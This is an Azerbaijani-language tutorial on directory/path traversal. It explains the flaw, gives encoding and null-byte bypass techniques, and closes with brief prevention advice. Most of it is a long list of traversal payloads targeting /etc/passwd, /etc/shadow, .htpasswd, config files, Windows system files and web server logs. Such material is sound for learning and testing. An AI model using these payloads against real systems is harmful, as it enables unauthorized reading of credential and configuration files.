Directory və ya Path Traversal nədir?
Directory Traversal (həmçinin Path Traversal kimi tanınır) təcavüzkarın tətbiqi işlədən serverdə ixtiyari faylları oxumasına imkan verən veb təhlükəsizliyi zəifliyidir.
Bu URL-ni düşünün,
Copy randomwebsite111.com/loadImage?filename=cutekitty18.png
loadImage URL fayl adı parametrini götürür və göstərilən faylın məzmununu qaytarır. Şəkil faylları özləri diskdə /var/www/images/ yerində saxlanılır. Şəkli qaytarmaq üçün proqram tələb olunan fayl adını bu əsas directoriyaya əlavə edir və faylın məzmununu oxumaq üçün fayl sistemi API-dən istifadə edir. Yuxarıdakı halda, proqram aşağıdakı fayl yolundan oxuyur:
Copy /var/www/images/cutekitty18.png
Tətbiq Directory Traversal hücumlarına qarşı heç bir müdafiə tətbiq etmir, beləliklə, təcavüzkar serverin fayl sistemindən ixtiyari faylı əldə etmək üçün aşağıdakı URL-i istifadə edə bilər.
Copy randomwebsite111.com/loadImage?filename=../../../etc/passwd
Windows-da, həm ../, həm də ..\ keçərli kataloq keçid ardıcıllığıdır və standart əməliyyat sistemi faylını əldə etmək üçün hücum belə olacaq:
Copy randomwebsite111.com/loadImage?filename=......\windows\win. ini
Bu açıqdan istifadə etmək yollar:
Siz heç bir keçid ardıcıllığından istifadə etmədən fayla birbaşa keçid etmək üçün fayl adı=/etc/passwd istifadə edə bilərsiniz.
Siz ....// və ya ..../ kimi daxili keçid ardıcıllıqlarından istifadə edə bilərsiniz.
Müxtəlif qeyri-standart kodlaşdırmalardan istifadə edə bilərsiniz:
Copy . = %2e
/ = %2f
\ = %5c
Double URL encode:
Copy . = %252e
/ = %252f
\ = %255c
16-bit:
Copy . = %u002e
/ = %u2215
\ = %u2216
UTF-8:
Copy . = %c0%2e, %e0%40%ae, %c0ae
/ = %c0%af, %e0%80%af, %c0%2f
\ = %c0%5c, %c0%80%5c
Məsələn:
Tətbiq istifadəçi tərəfindən təmin edilən fayl adının .png kimi gözlənilən fayl uzantısı ilə bitməsini tələb edirsə, o zaman tələb olunan genişlənmədən əvvəl fayl yolunu lazımi şəkildə dayandırmaq üçün null baytdan istifadə etmək sizə kömək edə bilər.
Copy filename=../../../etc/passwd%00.png
Linux və Windows sistemlərində lazım ola biləcək Payload-lar
Copy /etc/master.passwd
/master.passwd
etc/passwd
etc/shadow%00
/etc/passwd
/etc/passwd%00
../etc/passwd
../etc/passwd%00
../../etc/passwd
../../etc/passwd%00
../../../etc/passwd
../../../etc/passwd%00
../../../../etc/passwd%00
../../../../../etc/passwd
../../../../../../../../../../etc/passwd
../../../../../../../../../../etc/passwd%00
../../../../../../../../../../../etc/passwd
../../../../../../../../../../../etc/passwd%00
../../../../../../../../../../../../etc/passwd
../../../../../../../../../../../../../../../../../../etc/passwd
../../../../../../../../../../../../../../../../../../etc/passwd%00
../../../../../../../../../../../../../../../../../../../etc/passwd
../../../../../../../../../../../../../../../../../../../../../../etc/passwd
../../../../../../../../../../../../../../../../../../../../../../etc/passwd%00
../../../../../../../../../../../../../../../../../../../../../../etc/shadow%00
———————————————————————————————————————————-
../../../../../../etc/passwd&=%3C%3C%3C%3C
../../../administrator/inbox
../../../../../../../dev
———————————————————————————————————————————-
.htpasswd
passwd
passwd.dat
pass.dat
.htpasswd
/.htpasswd
../.htpasswd
.passwd
/.passwd
../.passwd
.pass
../.pass
members/.htpasswd
member/.htpasswd
user/.htpasswd
users/.htpasswd
root/.htpasswd
———————————————————————————————————————————-
/core/config.php
config.php
config.js
../config.js
config.asp
../config.asp
_config.php
../_config.php
../_config.php%00
../config.php
config.inc.php
../config.inc.php
/config.asp
../config.asp
/../../../../pswd
/admin/install.php
../install.php
install.php
———————————————————————————————————————————-
#encode olunuş formada yoxlaya bilərsiniz
..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fshadow
..%2F..%2F..%2F%2F..%2F..%2Fetc/passwd
..%2F..%2F..%2F%2F..%2F..%2Fetc/shadow
..%2F..%2F..%2F%2F..%2F..%2F%2Fvar%2Fnamed
..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/boot.ini
/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd
———————————————————————————————————————————-
/..\..\..\..\..\..\winnt\win.ini
../../windows/win.ini
..//..//..//..//..//boot.ini
..\../..\../boot.ini
..\../..\../..\../..\../boot.ini
\…..\\\…..\\\…..\\\
=3D “/..” . “%2f..
d:\AppServ\MySQL
c:\AppServ\MySQL
c:WINDOWS/system32/
/C:\Program Files\
/D:\Program Files\
/C:/inetpub/ftproot/
———————————————————————————————————————————-
/boot/grub/grub.conf
/proc/interrupts
/proc/cpuinfo
/proc/meminfo
———————————————————————————————————————————-
../apache/logs/error.log
../apache/logs/access.log
../../apache/logs/error.log
../../apache/logs/access.log
../../../apache/logs/error.log
../../../apache/logs/access.log
../../../../../../../etc/httpd/logs/acces_log
../../../../../../../etc/httpd/logs/acces.log
../../../../../../../etc/httpd/logs/error_log
../../../../../../../etc/httpd/logs/error.log
../../../../../../../var/www/logs/access_log
../../../../../../../var/www/logs/access.log
../../../../../../../usr/local/apache/logs/access_ log
../../../../../../../usr/local/apache/logs/access. log
../../../../../../../var/log/apache/access_log
../../../../../../../var/log/apache2/access_log
../../../../../../../var/log/apache/access.log
../../../../../../../var/log/apache2/access.log
../../../../../../../var/log/access_log
../../../../../../../var/log/access.log
../../../../../../../var/www/logs/error_log
../../../../../../../var/www/logs/error.log
../../../../../../../usr/local/apache/logs/error_l og
../../../../../../../usr/local/apache/logs/error.l og
../../../../../../../var/log/apache/error_log
../../../../../../../var/log/apache2/error_log
../../../../../../../var/log/apache/error.log
../../../../../../../var/log/apache2/error.log
../../../../../../../var/log/error_log
../../../../../../../var/log/error.log
Qarşısının alınması
Zəifliklərinin qarşısını almağın ən təsirli yolu istifadəçi tərəfindən təmin edilən giriş məlumatlarını API fayl sistemlərinə ötürməməkdir. Bununla bərabər URL filterləmədəndə istifadə etmək yaxşı seçim ola bilər. Bəzi sözlər simbol və ya işarələrin bloklanması yaxud yazıldıqda silinməsi kimi funksiyalar bu açığın qarşısını almağa kömək edə bilər. Bu prosesləri daha da təkminləşdirmək üçün WAF ( Web application firewall) istifadə oluna bilər.
Last updated 10 months ago